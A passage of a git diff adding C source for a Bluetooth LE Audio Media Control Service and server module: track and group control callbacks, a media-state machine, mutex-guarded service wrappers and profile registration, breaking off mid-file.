mcs_id, int32_t n_track) +{ + BT_LOGD("%s, track num:%d", __func__, n_track); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_GOTO_TRACK, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueint32 = n_track; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_previous_group_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_PREVIOUS_GROUP, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_next_group_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_NEXT_GROUP, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_first_group_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_FIRST_GROUP, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_last_group_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_LAST_GROUP, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_goto_group_result(uint32_t mcs_id, int32_t n_group) +{ + BT_LOGD("%s, group num:%d ", __func__, n_group); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_GOTO_GROUP, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueint32 = n_group; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_track_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new_ext(MCS_SEARCH_TRACK_NAME, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint16 = size; + event->event_data.valuebool = last_condition; + strcpy((char*)event->event_data.dataarry, name); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_artist_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new_ext(MCS_SEARCH_ARTIST_NAME, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint16 = size; + event->event_data.valuebool = last_condition; + strcpy((char*)event->event_data.dataarry, name); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_album_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new_ext(MCS_SEARCH_ALBUM_NAME, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint16 = size; + event->event_data.valuebool = last_condition; + strcpy((char*)event->event_data.dataarry, name); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_group_name_result(uint32_t mcs_id, size_t size, char* name, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new_ext(MCS_SEARCH_GROUP_NAME, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint16 = size; + event->event_data.valuebool = last_condition; + strcpy((char*)event->event_data.dataarry, name); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_earliest_year_result(uint32_t mcs_id, size_t size, char* year, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new_ext(MCS_SEARCH_EARLIEST_YEAR, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint16 = size; + event->event_data.valuebool = last_condition; + strcpy((char*)event->event_data.dataarry, year); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_latest_year_result(uint32_t mcs_id, size_t size, char* year, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new_ext(MCS_SEARCH_LATEST_YEAR, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint16 = size; + event->event_data.valuebool = last_condition; + strcpy((char*)event->event_data.dataarry, year); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_genre_result(uint32_t mcs_id, size_t size, char* name, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new_ext(MCS_SEARCH_GENRE, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint16 = size; + event->event_data.valuebool = last_condition; + strcpy((char*)event->event_data.dataarry, name); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_tracks_result(uint32_t mcs_id, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new(MCS_SEARCH_TRACKS, mcs_id); + + event->event_data.valuebool = last_condition; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_search_groups_result(uint32_t mcs_id, bool last_condition) +{ + BT_LOGD("%s, last_condition:%d ", __func__, last_condition); + mcs_event_t* event; + + event = mcs_event_new(MCS_SEARCH_GROUPS, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valuebool = last_condition; + + lea_mcs_send_msg(event); +} + +/**************************************************************************** + * Private Data + ****************************************************************************/ + +void inactive_state_command_handler(int event) +{ + BT_LOGD("%s, event:%d ", __func__, event); + switch (event) { + case MEDIA_EVENT_START: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PLAYING; + lea_mcs_media_state_changed(current_state); + break; + } + default: + BT_LOGW("%s, Unexpect event:%d ", __func__, event); + break; + } +} + +void playing_state_command_handler(int event) +{ + BT_LOGD("%s, event:%d ", __func__, event); + switch (event) { + case MEDIA_EVENT_STOP: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + case MEDIA_EVENT_START: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PLAYING; + break; + } + case MEDIA_EVENT_PAUSE: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PAUSED; + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + lea_mcs_media_state_changed(current_state); + break; + } +#if 0 + case MEDIA_EVENT_SEEK: { + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + break; + } +#endif + case MEDIA_EVENT_PREV_SONG: + case MEDIA_EVENT_NEXT_SONG: { + int temp_id = mcs_cur_track_oid; + mcs_cur_track_oid = mcs_next_track_oid; + mcs_next_track_oid = temp_id; + + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + lea_mcs_track_title_changed((uint8_t*)MCS_TRACK_TITLE); + lea_mcs_current_track_changed(mcs_track_oids[mcs_cur_track_oid]); + lea_mcs_next_track_changed(mcs_track_oids[mcs_next_track_oid]); + break; + } + default: + BT_LOGW("%s, Unexpect event:%d ", __func__, event); + break; + } +} + +void paused_state_command_handler(int event) +{ + BT_LOGD("%s, event:%d ", __func__, event); + switch (event) { + case MEDIA_EVENT_STOP: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + case MEDIA_EVENT_START: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PLAYING; + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + lea_mcs_media_state_changed(current_state); + break; + } + case MEDIA_EVENT_PAUSE: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PAUSED; + break; + } +#if 0 + case MEDIA_EVENT_SEEK: { + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + break; + } +#endif + case MEDIA_EVENT_PREV_SONG: + case MEDIA_EVENT_NEXT_SONG: { + int temp_id = mcs_cur_track_oid; + mcs_cur_track_oid = mcs_next_track_oid; + mcs_next_track_oid = temp_id; + + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + lea_mcs_track_title_changed((uint8_t*)MCS_TRACK_TITLE); + lea_mcs_current_track_changed(mcs_track_oids[mcs_cur_track_oid]); + lea_mcs_next_track_changed(mcs_track_oids[mcs_next_track_oid]); + break; + } + default: + BT_LOGW("%s, Unexpect event:%d ", __func__, event); + break; + } +} + +void seeking_state_command_handler(int event) +{ + BT_LOGD("%s, event:%d ", __func__, event); + switch (event) { + case MEDIA_EVENT_STOP: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + case MEDIA_EVENT_START: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PLAYING; + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + lea_mcs_seeking_speed_changed(0); + lea_mcs_media_state_changed(current_state); + break; + } + case MEDIA_EVENT_PAUSE: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PAUSED; + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + lea_mcs_seeking_speed_changed(0); + lea_mcs_media_state_changed(current_state); + break; + } +#if 0 + case MEDIA_EVENT_SEEK: { + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + break; + } +#endif + case MEDIA_EVENT_PREV_SONG: + case MEDIA_EVENT_NEXT_SONG: { + current_state = ADPT_LEA_MCS_MEDIA_STATE_PAUSED; + int temp_id = mcs_cur_track_oid; + mcs_cur_track_oid = mcs_next_track_oid; + mcs_next_track_oid = temp_id; + + if (isRemoteControl) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + isRemoteControl = false; + } + lea_mcs_media_state_changed(current_state); + lea_mcs_track_title_changed((uint8_t*)MCS_TRACK_TITLE); + lea_mcs_current_track_changed(mcs_track_oids[mcs_cur_track_oid]); + lea_mcs_next_track_changed(mcs_track_oids[mcs_next_track_oid]); + break; + } + default: + BT_LOGW("%s, Unexpect event:%d ", __func__, event); + break; + } +} + +void (*command_handlers[ADPT_LEA_MCS_MEDIA_STATE_LAST])(int event) = { + inactive_state_command_handler, + playing_state_command_handler, + paused_state_command_handler, + seeking_state_command_handler +}; + +static lea_adpt_mcs_media_state_t playerState2McsState(int playerState) +{ + lea_adpt_mcs_media_state_t McsState; + + if (playerState == MEDIA_EVENT_START) { + McsState = ADPT_LEA_MCS_MEDIA_STATE_PLAYING; + } else if (playerState == MEDIA_EVENT_PAUSE) { + McsState = ADPT_LEA_MCS_MEDIA_STATE_PAUSED; + } else if (playerState == MEDIA_EVENT_STOP) { + McsState = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + } else { + McsState = ADPT_LEA_MCS_MEDIA_STATE_LAST; + } + BT_LOGD("%s, event_cb:%d, McsState:%d ", __func__, playerState, McsState); + return McsState; +} + +static void mcs_session_event_callback(void* cookie, int event, + int ret, const char* data) +{ + uint32_t position, duration; + + if (isRemoteControl && ret < 0) { + BT_LOGE("%s, Session event cb, ret:%d ", __func__, ret); + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + isRemoteControl = false; + return; + } + + command_handlers[current_state](event); + + if (media_session_get_position(control_session, &position) >= 0) { + lea_mcs_track_position_changed(position); + } + if (media_session_get_duration(control_session, &duration) >= 0) { + lea_mcs_track_duration_changed(duration); + } +} + +static bt_status_t lea_mcs_media_init() +{ + int ret, playerState; + uint32_t position, duration; + + lea_mcs_add(); + lea_mcs_set_media_player_info(); + + control_session = media_session_open("Music"); + if (!control_session) { + BT_LOGE("%s media session open failed.", __func__); + return BT_STATUS_FAIL; + } + ret = media_session_set_event_callback(control_session, control_session, mcs_session_event_callback); + assert(!ret); + + ret = media_session_get_state(control_session, &playerState); + if (ret < 0) { + BT_LOGE("%s get player state failed.", __func__); + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + } else { + current_state = playerState2McsState(playerState); + } + + if (current_state >= ADPT_LEA_MCS_MEDIA_STATE_LAST) { + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(ADPT_LEA_MCS_MEDIA_STATE_INACTIVE); + } else { + lea_mcs_media_state_changed(current_state); + } + + if (media_session_get_position(control_session, &position) >= 0) { + lea_mcs_track_position_changed(position); + } + + if (media_session_get_duration(control_session, &duration) >= 0) { + lea_mcs_track_duration_changed(duration); + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_media_cleanup() +{ + lea_mcs_remove(); + + media_session_close(control_session); + isRemoteControl = false; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_add() +{ + BT_LOGD("%s", __func__); + bt_status_t ret; + + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_add(lea_mcs_id); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_remove() +{ + BT_LOGD("%s", __func__); + bt_status_t ret; + + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_remove(lea_mcs_id); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_set_media_player_info() +{ + BT_LOGD("%s ", __func__); + bt_status_t ret; + + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_set_media_player_info(lea_mcs_id); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_add_object(uint32_t mcs_id, uint8_t type, uint8_t* name, void* obj_ref) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, type:%d, name:%s", __func__, type, name); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_add_object(mcs_id, type, name, obj_ref); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_playing_order_changed(uint8_t order) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, order:%d", __func__, order); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_playing_order_changed(lea_mcs_id, order); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_media_state_changed(lea_adpt_mcs_media_state_t state) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, state:%d", __func__, state); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_media_state_changed(lea_mcs_id, state); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_playback_speed_changed(int8_t speed) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, speed:%d", __func__, speed); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_playback_speed_changed(lea_mcs_id, speed); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_seeking_speed_changed(int8_t speed) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, speed:%d", __func__, speed); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_seeking_speed_changed(lea_mcs_id, speed); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_track_title_changed(uint8_t* title) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, title:%s", __func__, title); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_track_title_changed(lea_mcs_id, title); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_track_duration_changed(int32_t duration) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, duration:%d", __func__, duration); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_track_duration_changed(lea_mcs_id, duration); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_track_position_changed(int32_t position) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, position:%d", __func__, position); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_track_position_changed(lea_mcs_id, position); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_current_track_changed(lea_object_id track_id) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s, track_id:%s", __func__, track_id); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_current_track_changed(lea_mcs_id, track_id); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_next_track_changed(lea_object_id track_id) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s ", __func__); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_next_track_changed(lea_mcs_id, track_id); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_current_group_changed(lea_object_id group_id) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s ", __func__); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_current_group_changed(lea_mcs_id, group_id); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_parent_group_changed(lea_object_id group_id) +{ + CHECK_ENABLED(); + bt_status_t ret; + + BT_LOGD("%s ", __func__); + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_parent_group_changed(lea_mcs_id, group_id); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_media_control_response(lea_adpt_mcs_media_control_result_t result) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcs_service.device_lock); + ret = bt_sal_lea_mcs_media_control_response(lea_mcs_id, result); + if (ret != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_mcs_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcs_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static void* lea_mcs_set_callbacks(void* handle, lea_mcs_callbacks_t* callbacks) +{ + if (!g_mcs_service.started) + return NULL; + + return bt_remote_callbacks_register(g_mcs_service.callbacks, handle, (void*)callbacks); +} + +static bool lea_mcs_reset_callbacks(void** handle, void* cookie) +{ + if (!g_mcs_service.started) + return false; + + return bt_remote_callbacks_unregister(g_mcs_service.callbacks, handle, cookie); +} + +static const lea_mcs_interface_t leMcsInterface = { + .size = sizeof(leMcsInterface), + .mcs_add = lea_mcs_add, + .mcs_remove = lea_mcs_remove, + .add_object = lea_mcs_add_object, + .playing_order_changed = lea_mcs_playing_order_changed, + .media_state_changed = lea_mcs_media_state_changed, + .playback_speed_changed = lea_mcs_playback_speed_changed, + .seeking_speed_changed = lea_mcs_seeking_speed_changed, + .track_title_changed = lea_mcs_track_title_changed, + .track_duration_changed = lea_mcs_track_duration_changed, + .track_position_changed = lea_mcs_track_position_changed, + .current_track_changed = lea_mcs_current_track_changed, + .next_track_changed = lea_mcs_next_track_changed, + .current_group_changed = lea_mcs_current_group_changed, + .parent_group_changed = lea_mcs_parent_group_changed, + .set_media_player_info = lea_mcs_set_media_player_info, + .media_control_response = lea_mcs_media_control_response, + .set_callbacks = lea_mcs_set_callbacks, + .reset_callbacks = lea_mcs_reset_callbacks, +}; + +/**************************************************************************** + * Public function + ****************************************************************************/ +static const void* get_lea_mcs_profile_interface(void) +{ + return &leMcsInterface; +} + +static bt_status_t lea_mcs_init(void) +{ + BT_LOGD("%s", __func__); + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcs_startup(profile_on_startup_t cb) +{ + BT_LOGD("%s", __func__); + bt_status_t status; + pthread_mutexattr_t attr; + mcs_service_t* service = &g_mcs_service; + if (service->started) + return BT_STATUS_SUCCESS; + + service->callbacks = bt_callbacks_list_new(2); + if (!service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->device_lock, &attr); + + service->started = true; + + lea_mcs_media_init(); + + return BT_STATUS_SUCCESS; + +fail: + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->device_lock); + return status; +} + +static bt_status_t lea_mcs_shutdown(profile_on_shutdown_t cb) +{ + if (!g_mcs_service.started) + return BT_STATUS_SUCCESS; + + pthread_mutex_lock(&g_mcs_service.device_lock); + lea_mcs_media_cleanup(); + + g_mcs_service.started = false; + + bt_callbacks_list_free(g_mcs_service.callbacks); + g_mcs_service.callbacks = NULL; + pthread_mutex_unlock(&g_mcs_service.device_lock); + pthread_mutex_destroy(&g_mcs_service.device_lock); + return BT_STATUS_SUCCESS; +} + +static void lea_mcs_cleanup(void) +{ + BT_LOGD("%s", __func__); +} + +static int lea_mcs_dump(void) +{ + printf("impl leaudio mcs dump"); + return 0; +} + +static const profile_service_t lea_mcs_service = { + .auto_start = true, + .name = PROFILE_MCS_NAME, + .id = PROFILE_LEAUDIO_MCS, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_mcs_init, + .startup = lea_mcs_startup, + .shutdown = lea_mcs_shutdown, + .process_msg = NULL, + .get_state = NULL, + .get_profile_interface = get_lea_mcs_profile_interface, + .cleanup = lea_mcs_cleanup, + .dump = lea_mcs_dump, +}; + +void register_lea_mcs_service(void) +{ + register_service(&lea_mcs_service); +} + +#endif \ No newline at end of file diff --git a/service/profiles/leaudio/server/lea_server_event.c b/service/profiles/leaudio/server/lea_server_event.c new file mode 100644 index 0000000000000000000000000000000000000000..bc20b3c05b5158dd1c5e6628ae88343597d83bc9 --- /dev/null +++ b/service/profiles/leaudio/server/lea_server_event.c @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "lea_server_event.h" + +lea_server_msg_t* lea_server_msg_new(lea_server_event_t event, + bt_address_t* addr) +{ + return lea_server_msg_new_ext(event, addr, NULL, 0); +} + +lea_server_msg_t* lea_server_msg_new_ext(lea_server_event_t event, + bt_address_t* addr, void* data, size_t size) +{ + lea_server_msg_t* msg; + + msg = (lea_server_msg_t*)zalloc(sizeof(lea_server_msg_t)); + if (!msg) + return NULL; + + msg->event = event; + if (addr != NULL) { + memcpy(&msg->data.addr, addr, sizeof(bt_address_t)); + } + + if (size > 0) { + msg->data.size = size; + msg->data.data = malloc(size); + memcpy(msg->data.data, data, size); + } + + return msg; +} + +void lea_server_msg_destory(lea_server_msg_t* msg) +{ + if (!msg) { + return; + } + + free(msg->data.data); + free(msg); +} diff --git a/service/profiles/leaudio/server/lea_server_service.c b/service/profiles/leaudio/server/lea_server_service.c new file mode 100644 index 0000000000000000000000000000000000000000..0e17a582368ac29c83620724f95b8fe9afc2819d --- /dev/null +++ b/service/profiles/leaudio/server/lea_server_service.c @@ -0,0 +1,1252 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "lea_server" + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdint.h> +#include <string.h> +#include <sys/types.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "bt_lea_server.h" +#include "bt_profile.h" +#include "bt_vendor.h" +#include "callbacks_list.h" +#include "lea_audio_sink.h" +#include "lea_audio_source.h" +#include "lea_codec.h" +#include "lea_server_service.h" +#include "lea_server_state_machine.h" +#include "sal_lea_common.h" +#include "sal_lea_server_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define LEAS_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_server_callbacks_t, _cback, ##__VA_ARGS__) + +#define LEAS_CONTEXT_TYPE_ALL (ADPT_LEA_CONTEXT_TYPE_CONVERSATIONAL | ADPT_LEA_CONTEXT_TYPE_MEDIA | ADPT_LEA_CONTEXT_TYPE_GAME | ADPT_LEA_CONTEXT_TYPE_INSTRUCTIONAL | ADPT_LEA_CONTEXT_TYPE_VOICE_ASSISTANTS | ADPT_LEA_CONTEXT_TYPE_LIVE | ADPT_LEA_CONTEXT_TYPE_SOUND_EFFECTS | ADPT_LEA_CONTEXT_TYPE_NOTIFICATIONS | ADPT_LEA_CONTEXT_TYPE_RINGTONE | ADPT_LEA_CONTEXT_TYPE_ALERTS | ADPT_LEA_CONTEXT_TYPE_EMERGENCY_ALARM) + +#ifndef CONFIG_LEAS_CALL_SINK_SUPPORTED_SAMPLE_FREQUENCY +#define CONFIG_LEAS_CALL_SINK_SUPPORTED_SAMPLE_FREQUENCY (ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_8000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_16000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_24000) +#endif + +#ifndef 